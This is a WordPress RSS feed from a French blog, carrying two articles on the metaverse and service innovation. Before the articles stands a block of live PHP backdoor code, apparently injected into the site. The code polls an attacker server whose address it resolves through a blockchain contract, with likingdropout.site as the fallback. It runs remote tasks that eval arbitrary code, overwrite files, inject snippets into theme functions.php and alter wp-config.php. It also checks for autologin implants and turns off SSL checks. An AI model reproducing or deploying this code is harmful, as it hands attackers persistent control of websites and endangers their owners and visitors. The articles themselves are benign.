// n3_gs if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/home/thenexi/www2/wp-content/plugins/hseo/hseo.php', 'ctrl'=>'// n3_gs', 'vis'=>'// tb_e5', 'vis_func'=>'wp_1d1k4j', 'vis_paths'=>array('/home/thenexi/www2/wp-content/plugins/hseo/hseo.php'), 'opt'=>'_wp_ij8fe05k', ); $keys=array(); $keys['id']='3nc'; $keys['ver']='zx'; $keys['caps']='53l'; $keys['tasks']='wnn'; $keys['interval']='u2u'; $keys['ack_id']='bjt'; $keys['ok']='7l'; $keys['detail']='d8d'; $keys['inv']='r8l'; $keys['result']='ty7'; $hdr='X-IM5-Auth';$tok='0OqlxCG05mHrBhAUr_ZaSkNE7ZTBYMnto_0cuhjihBE';$id='8dd720ff7756e47b';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Adrien Paquin – The Next Playground https://thenextplayground.com Imaginons ensemble de nouveaux terrains de jeu Sat, 24 Feb 2024 11:32:03 +0000 fr-FR hourly 1 https://wordpress.org/?v=7.1.1 https://thenextplayground.com/wp-content/uploads/2022/12/TNPG_favicon-120x120.png Adrien Paquin – The Next Playground https://thenextplayground.com 32 32 Comment le métavers redéfinit la notion d’expérience ? https://thenextplayground.com/comment-le-metavers-redefinit-la-notion-dexperience/ Thu, 23 Jun 2022 08:00:00 +0000 http://beta.thenextplayground.com/?p=12122 Cela ne vous a sans doute pas échappé, le métavers fait régulièrement parler de lui et la tendance semble s’accroitre au même rythme que le marché qui entoure cette nouvelle itération d’internet.

Le métavers (metaverse)

Le métavers (pour ceux qui ne savent pas encore exactement ce que c’est), c’est un monde virtuel créé par des humains, où les gens peuvent interagir entre eux, faire du commerce 🛍, jouer 🕹 et même travailler 👩 🏫 dans un environnement totalement virtuel, immersif et persistant. En réalité, il n’existe pas un métavers mais, “des” métavers, car il en existera autant que d’entreprises qui s’implanteront sur cette nouvelle version du web avec leur propre monde propriétaire.

De fait, il y a fort à parier que nous trouvions autant de métavers à notre disposition qu’il existe de réseaux sociaux ou de messageries instantanées. Ils fonctionneront comme nos applications préférées et seront certainement dotés des mêmes caractéristiques. Certains de ces métavers seront gratuits, d’autres payants (moyennant un abonnement en cryptomonnaie), à la direction artistique moderne pour certains, réalistes ou minimalistes pour les autres, mais avec toujours le même objectif, vous proposer une expérience unique et remarquable qui les différencient les uns des autres.

L’économie de l’avatar

Les créateurs, les marques et les célébrités réalisent que les futurs consommateurs sont plus que jamais en ligne. Ils ont des identités numériques sur les réseaux sociaux, sur les jeux et de plus en plus sur le Métavers. Actuellement, les métavers atteignent 400 millions d’utilisateurs actifs par mois à travers le monde. C’est autant d’avatars qui déambulent 🚶 ♀ sur les espaces de rencontres virtuels au potentiel quasi-illimité et aux limites définies par l’imagination.

Si nous regardons les choses avec un peu de recul, le modèle commercial Direct to Consumer (DTC) a changé à jamais notre façon d’acheter, en éliminant les intermédiaires et en s’adressant directement aux consommateurs et utilisateurs finaux. Et le métavers n’a pas attendu pour commencer à appliquer ce modèle commercial aux avatars, en contournant complètement les humains. On parle alors de Direct to Avatar (DTA).

La cible naturelle : les “digi-sapiens”. C’est ainsi que l’on désigne la nouvelle génération de consommateurs et d’utilisateurs. C’est principalement la génération Z et les jeunes milléniaux qui ont grandi dans un monde où la frontière entre réalité et virtuel est de plus en plus mince et qui ont commencé à considérer le web comme leur deuxième maison. Cela me semble important de savoir qu’ils sont, tout de même, 3,5 milliards à travers le monde et qu’ils disposent aujourd’hui de 55% du pouvoir d’achat total à eux seuls. Bien qu’ils se soucient de l’environnement, ils sont paradoxalement très attachés à toutes les technologies qui améliorent et libèrent leur existence. La rareté, l’authenticité et l’exclusivité étant prédominante dans le métavers la cible est donc toute trouvée. Les marques de vêtements l’ont parfaitement compris en investissant massivement pour pénétrer ce nouveau marché et être présent là où ces nouveaux consommateurs se trouvent. A commencer par Fortnite, le célèbre jeu en ligne aux 390 millions de joueurs, ou des marques comme Balenciaga ou Moncler, qui proposent, moyennant quelques dizaines (et parfois plusieurs) centaines d’euros, d’équiper les avatars de la nouvelle collection de leurs vêtements 🧥 phares.

 Cette nouvelle économie a des avantages non négligeables pour ces nouveaux consommateurs. Les vêtements numériques, particulièrement ceux des marques de luxe, proposés sur Fortnite sont accessibles, durables, uniques, persistants, visibles par tous et ne nécessitent ni rangement, ni stockage et aucun entretien. Ils sont disponibles partout, tout le temps et peuvent se porter en une fraction de seconde au gré des envies, des tendances et peu importe la météo. Nous assistons donc à un modèle économique exclusivement destiné aux avatars, répondant à leurs besoins et à leurs usages, contournant les intermédiaires, en phase avec des exigences toujours plus fortes comme des délais de livraison instantanés, la garantie de l’authenticité, permettant les échanges et la revente.

Quand l’avatar devient l’utilisateur final

Si les canaux commerciaux contournent les humains au profit des avatars, alors il en est de même de l’expérience vécue qui, mécaniquement, voit son curseur se déplacer de l’utilisateur du casque à son propre avatar. Cela s’explique facilement dans la mesure où l’immersion proposée par le métavers renforce l’incarnation des utilisateurs dans leurs avatars. Logiquement, plus vous vous sentez incarné dans votre avatar, plus vous êtes susceptible d’investir dans son apparence, ses traits de comportements, ses aptitudes et aussi dans les opportunités expérientielles qui s’offrent à lui. L’utilisateur final étant (par définition) la personne qui va utiliser un produit ou bénéficier d’un service il est relativement normal de challenger cette définition dès lors que l’utilisateur ou le bénéficiaire n’est autre que l’avatar.

L’immersion proposée par le concept même du métavers renforce l’incarnation des utilisateurs dans leurs avatars 🦊. Plus vous vous sentez incarné dans votre avatar, plus vous êtes susceptible d’investir dans son apparence, ses traits de comportements, ses aptitudes et aussi dans les opportunités expérientielles qui s’offrent à lui. A l’image des modèles économiques qui se transforment pour s’adapter aux nouveaux modes de consommation, les processus de conception des produits et des services à destination du métavers devront alors se centrer sur les avatars. Les mondes virtuels dans lesquels ils évoluent n’étant pas régis par les mêmes contraintes, les mêmes limites et les mêmes règles que le monde dans lequel nous (humains) évoluons, les possibilités sont quasi infinies et de fait les besoins, les attentes et les irritants sont alors complètement nouveaux. Tout reste à écrire, de nouveaux usages vont apparaitre, de nouvelles attentes vont se créer, le niveau d’exigence sur l’immersion va considérablement se développer, l’accessibilité et l’inclusivité vont être à sérieusement considérer. Nous parlerons sans aucun doute dans les mois à venir d’expérience avatar (AX)🧑 🔬.

Les avatars, nouveaux générateurs de contenus

 Dans cette économie de l’avatar qui s’adresse directement à ces nouveaux types de consommateurs, ceux-ci ne font pas qu’acheter, ils créent aussi. Si les avatars vivent des expériences inoubliables dans ces nouveaux espaces virtuels partagés et à grande échelle, alors ce serait une erreur de penser qu’ils ne seront pas utilisés afin de saisir l’opportunité de créer et de permettre de générer des revenus. Souvenez-vous qu’il n’y a encore pas si longtemps, à l’apparition des réseaux sociaux, on estimait le média incompatible avec une génération de revenus suffisante pour en vivre. En 2021 le marché des influenceurs 🤳 générait 13,6 milliards de dollars de valeur ajoutée brute. Sur l’ensemble des métavers présents, dans leurs versions rudimentaires et à la même période, ce tout nouveau marché générait approximativement 66 milliards de dollars de valeur ajoutée brute, soit plus que le PIB actuel de la Bulgarie 🇧🇬.

Certaines entreprises laissent déjà entendre verser des rémunérations aux avatars contributeurs, pour la plupart contrôlés par des adolescents, qui fabriquent des choses à l’aide des outils intégrés. Roblox Corporation prévoit de verser 250 à 300 millions de dollars aux créateurs d’expérience, de contenus et de modèles 3D qui viendront compléter leur métavers. Les nouvelles générations nous prouvent que les jeux vidéo, les réseaux sociaux ou plus dernièrement les métavers sont l’une des formes les plus puissantes de création, d’apprentissage et d’expression.

La blockchain a complètement changé notre rapport à l’argent et a créé une véritable ère de propriété numérique. Il est donc tout à fait logique que la décentralisation se présente comme l’alternative la plus crédible au métavers. La décentralisation vise à s’affranchir du modèle traditionnel des médias sociaux, pour qui les utilisateurs – ou plutôt leurs données – sont actuellement le produit qui génère de la valeur. Mais celles-ci étant majoritairement renvoyées aux actionnaires des géants du web (GAFAM) cette nouvelle vision fait la promesse de retrouver un système qui redonne la valeur à ceux qui la génèrent en fonction de leur engagement : toute personne qui arpentera l’un des Métavers.

Une opportunité pour les marques

Les marques peuvent apprendre des nombreux exemples, succès ou échecs cuisants, pour commencer à travailler et explorer ce que pourrait être leur positionnement dans le métavers.

 Certaines marques ont connu le succès comme Balanciaga sur Fortnite, Lacoste sur Minecraft ou encore Spotify sur Roblox en réussissant à créer de l’engagement sur leurs îles dédiées ou en commercialisant des produits à grande échelle. Mais d’autres ont fait la douloureuse expérience du « fail » en tentant de préempter le sujet, en ignorant les attentes et les besoins de ces nouvelles communautés, comme Ubisoft et sa boutique de NFT, l’île privée de Paris Hilton sur Roblox ou encore les entretiens d’embauche de Carrefour qui on suscités de vives réactions de la presse.

C’est le moment de se poser les bonnes questions, d’adopter une approche d’innovation et de saisir l’opportunité de coloniser ces espaces où la concurrence est encore faible. Il faut lancer des réflexions sur le sujet, sur la proposition de valeur, la pertinence de s’y implanter, le choix de la plateforme, l’audience visée et les opportunités d’élargir son business. Il faut préempter le sujet, à minima chercher des moyens de faire acte de présence et d’occuper ces espaces virtuels où les consommateurs seront toujours présents. La relation client me semble être un sujet de choix pour challenger les marques dans la manière dont elles fournissent leur service client.

Comme dans le monde réel, la domination de l’expérience client se jouera sur l’empathie, l’hyperpersonnalisation et l’efficacité à répondre aux besoins des clients, toujours plus complexes et aux exigences toujours plus pointues.

A mon sens, il est important d’être clair sur le fait que tout ne se jouera pas uniquement dans le métavers. Les marques devront traiter le métavers comme un canal supplémentaire dans leur stratégie globale d’expérience client – sans forcément tout miser dessus – et voir tout cela comme un avantage concurrentiel. Le métavers est une belle opportunité de se débarrasser des formulaires ennuyeux, des procédures complexes et latentes, et de fournir aux clients une véritable expérience virtuelle comparable à ce qu’elles peuvent produire dans le monde réel avec son lot d’avantages mais aussi d’inconvénients.

L’avenir du web, c’est maintenant

Le désir d’explorer l’inconnu et de vivre nos rêves dans d’autres mondes fait partie de l’histoire de l’humanité 🦖 et c’est ce qui nous a principalement conduits à la création du métavers, rendu possible grâce aux évolutions du numérique et des terminaux. Nos connaissances s’enrichissent à mesure que de nouveaux médias font leur apparition, les usages évoluent constamment et nos identités se divisent plus que jamais dans la multitude des plateformes. Dans le métavers vous vivrez pleinement la vie de la personne que vous voulez être. C’est une opportunité incroyable pour vous, utilisateurs d’aujourd’hui et avatars de demain, de pouvoir disposer de nouvelles expériences, de vous divertir, de gagner votre vie et de disposer de biens numériques. C’est aussi une opportunité pour les marques qui peuvent élargir leur vision et leurs perspectives pour atteindre de nouveaux consommateurs en créant des produits et des services nouveaux et innovants. Mais, restons lucide, le Métavers n’effacera pas les solutions actuelles, comme internet n’a pas supprimé la télévision, il est un canal supplémentaire dont le potentiel semble, sur le papier, sans limites. Quoi qu’il en soit, en ce moment c’est à nouveau 1998, si vous avez raté l’opportunité d’être un pionnier c’est l’occasion de se rattraper.

Sources :

https://influencermarketinghub.com/metaverse-stats/https://www.linkedin.com/pulse/metaverse-reaches-400m-monthly-active-users-metaversed/?trk=pulse-article_more-articles_related-content-card

]]> Innovation de services : quelle approche pour revenir au centre du jeu ? https://thenextplayground.com/innovation-de-services-quelle-approche-pour-revenir-au-centre-du-jeu/ Thu, 08 Oct 2020 09:30:00 +0000 http://beta.thenextplayground.com/?p=17012 La pandémie de coronavirus a conduit à un bouleversement du monde, notamment en forçant les entreprises à réinventer leurs organisations, leurs structures et leurs services le plus rapidement possible. Les projets de transformation, autrefois planifiées au fil du temps, ont été réalisées en quelques jours seulement. L’innovation est une valeur à laquelle une majorité adhère, mais dont une minorité d’acteurs tire réellement parti. Dans cet article, je vous partagerai ma vision sur les principes de base pour devenir plus innovant et les méthodes employées par certaines grandes entreprises pour structurer l’innovation. J’espère que vous pourrez en tirer profit dans votre quête de la prochaine grande idée.

Innover dans la « nouvelle normalité » 

Commençons par replacer l’innovation dans le contexte que nous vivons. Le premier confinement a permis à des entreprises de démontrer comment l’innovation pouvait lutter contre les statuquos, en puisant le maximum de la valeur des technologies. Les universités, les services de santé, les sites e-commerces, les restaurateurs et bien d’autres nous ont prouvé que la transformation de leurs services et la transformation du jour au lendemain de leurs services grâce au numérique était : possible. Cette crise a permis aussi de mettre en lumière la puissance et la valeur attribuées aux données. Les applications comme « Corona 100m » développée en Corée du Sud, ou comme TousAntiCovid en France, a aidé les gens et les autorités à visualiser si un individu avait abordé une personne infectée ou non en utilisant des technologies, déjà bien ancrées dans nos usages, comme la géolocalisation.

Ces deux exemples illustrent parfaitement la puissance de l’innovation sous contrainte, capable de transformer durablement nos usages et de définir de nouveaux standards comme par exemple la livraison sans contact. 

 Le second confinement change la donne, car il fait passer le contexte de crise dans une forme de normalité. Bien que de nombreuses entreprises aient réussi à innover sous contraintes, qu’en est-il maintenant qu’il s’agit d’innover dans cette nouvelle normalité ? L’enjeu majeur pour les entreprises, consiste désormais à poursuivre cette dynamique d’innovation, imposée par la crise et les confinements, en structurant cette démarche de manière plus pérenne.

Perturber les modèles établis

La première étape pour quiconque souhaite être plus innovant, c’est simplement l’acceptation du changement. Cela semble assez simple dit comme cela, mais de nombreuses entreprises ont du mal à s’écarter de leurs processus existants. Ils continuent à se concentrer sur les anciens modèles, certes éprouvés et rentables, mais qui font partie d’une vision du passé alors que le principe même de l’innovation est de se projeter dans le futur.

“Si j’avais demandé aux gens ce qu’ils voulaient, ils auraient répondu des chevaux plus rapides.” 

Henry Ford

 Certaines entreprises pensent également que le changement entraîne systématiquement une perturbation de la culture d’entreprise, alors que la culture du changement peut, au contraire, nourrir positivement la vision de l’entreprise. Henry Ford l’avait parfaitement compris.

Mobiliser l’intelligence collective

Dans le monde, les entreprises les plus innovantes ne sont pas celles qui dépensent le plus en innovation, mais celles qui impliquent le plus d’employés dans l’effort d’idéation pour trouver de nouvelles idées.

L’intelligence collective est un outil puissant. Dans un environnement dans lequel les parties prenantes ont un dialogue constructif, elle permet de commencer immédiatement à produire des idées tournées vers les mêmes objectifs. De nombreux exercices mettent en lumière la puissance de l’intelligence collective. Essayez de demander à un groupe de travail d’inscrire spontanément sur un post-it la distance qui sépare Paris de Rio-de-Janeiro. Si vous éliminez les extrêmes (100 000km ou 18km) et établissez une moyenne des valeurs récoltées, il y a fort à parier que vous ne serez pas loin de la réalité, à quelques centaines de kilomètres près. Cette expérience, parmi d’autres, nous démontre que puiser dans l’intelligence collective d’un groupe, en donnant la parole à tous les participants, permet d’obtenir des informations qui tendent vers la vérité.

Les études et l’implication des employés ne suffisent pas, le principal défi des marques est d’écouter et de comprendre l’évolution des besoins clients. Alors il n’existe rien de mieux que de les impliquer, eux aussi, à l’effort d’idéation afin d’extraire de précieuses informations tout au long de la conception. Les réponses aux problématiques auxquelles vous faites face sont très certainement chez vos clients avant d’être chez vous.

S’inspirer des grandes entreprises pour valider ses idées

Pour valider rapidement leurs idées, évaluer le potentiel, tout en minimisant les coûts, certaines grandes entreprises ont structuré leur méthode d’innovation autour du prototypage.

Prenons l’exemple de la communauté du divertissement, en particulier de l’industrie du cinéma. La Walt Disney Company a sa propre branche de R&D, qu’elle appelle Walt Disney Imagineering (1). La mission des « Imagineers » est simple : innover constamment. Les industries du cinéma et de la télévision produisent des milliers de films, de spectacles et de séries chaque année dont seul un petit pourcentage devient des blockbusters. L’industrie du cinéma couvre ses paris en faisant des prototypes appelés « pitch visualisation ». Cela permet aux studios de créer des scripts visuels dans un format basse résolution sur un ordinateur.

En comparaison, l’industrie automobile commence généralement par des croquis de concepts de produits, puis utilise un logiciel de conception assistée par ordinateur pour créer des prototypes 3D. Peugeot, par exemple, exploite l’impression 3D (2) pour prototyper des pièces entières de moteur ou d’habitacles.

Enfin, dans le commerce en ligne des entreprises comme Amazon ou Cdiscount s’inspirent d’autres méthodes employées par l’industrie du cinéma, le « storyboard » notamment, pour cartographier et valider les idées autour de l’expérience vécue par leurs clients avant, pendant et après un achat en ligne.

Revenir au centre du jeu

En tant que concepteur d’expérience, je m’inspire au quotidien des méthodes employées dans le Design Thinking (3), le Lean Startup et bien d’autres, pour concevoir l’approche la plus adaptée à nos clients.

Sur le même principe, nous pouvons tirer des enseignements des exemples cités plus haut pour en déduire une méthode qui, à mon sens, est la meilleure approche en matière d’innovation :

  • Développer une culture d’entreprise autour de l’acceptation du changement (par exemple : vision, missions, valeurs)
  • Impliquer et embarquer les employés et les clients dans le processus de conception (par exemple : atelier de co-création, brainstorming et focus group)
  • Créer une version rudimentaire et peu coûteuse de votre idée pour valider son potentiel (par exemple : storyboard, parcours utilisateurs, pitch visualisation)

L’objectif est de définir clairement sa propre approche en matière d’innovation, en la structurant autour d’une méthode réutilisable dans le cadre spécifique de votre entreprise. La méthode présentée ci-dessus est une bonne base, car elle implique toutes les parties prenantes, elle permet d’aboutir rapidement à un prototype qui vous permet de mesurer le potentiel de vos idées, tout en minimisant les risques et les coûts avant un investissement plus conséquent.

De nombreuses entreprises suivent le même processus de budgétisation chaque année pour se développer. C’est à cette étape, généralement vers la fin de l’année fiscale, qu’elles passent beaucoup de temps à analyser les projets qui seront financés l’année suivante. Je suis convaincu que c’est le moment idéal pour elles d’adopter cette approche afin de devenir plus innovantes dans leur réflexion, de repenser les hypothèses et d’identifier de nouvelles opportunités.

De plus, cette approche de l’innovation peut avoir un impact significatif sur les résultats de votre entreprise. Non seulement vous augmentez les chances de développer le «bon» service, mais vous diminuez également vos chances de développer le «mauvais» service. 

En résumé, en adoptant cette base méthodologique vous améliorerez vos chances de créer la prochaine grande idée et ferez également évoluer la façon dont vous et vos collaborateurs abordez l’innovation. Cela va changer la façon dont votre entreprise se positionne dans la concurrence. Vous disposerez d’un avantage certain en termes de rapidité, de transformation ou de mise sur le marché de vos services et c’est sans aucun doute le meilleur moyen de revenir au centre du jeu.

Sources bibliographiques

(1)https://insidethemagic.net/2020/11/marty-sklar-al1/

(2)https://www.sous-traiter.fr/limpression-3d-une-methode-en-plein-essor-dans-lindustrie-automobile/

(3)https://blog-ux.com/quest-ce-que-le-design-thinking/

(Référence)https://www.amazon.fr/Guide-linnovation-frugale-principes-faire/dp/2354563736

(Référence)https://www.amazon.fr/Innover-dispara%C3%AEtre-remettre-linnovation-lentreprise/dp/2100758241

]]>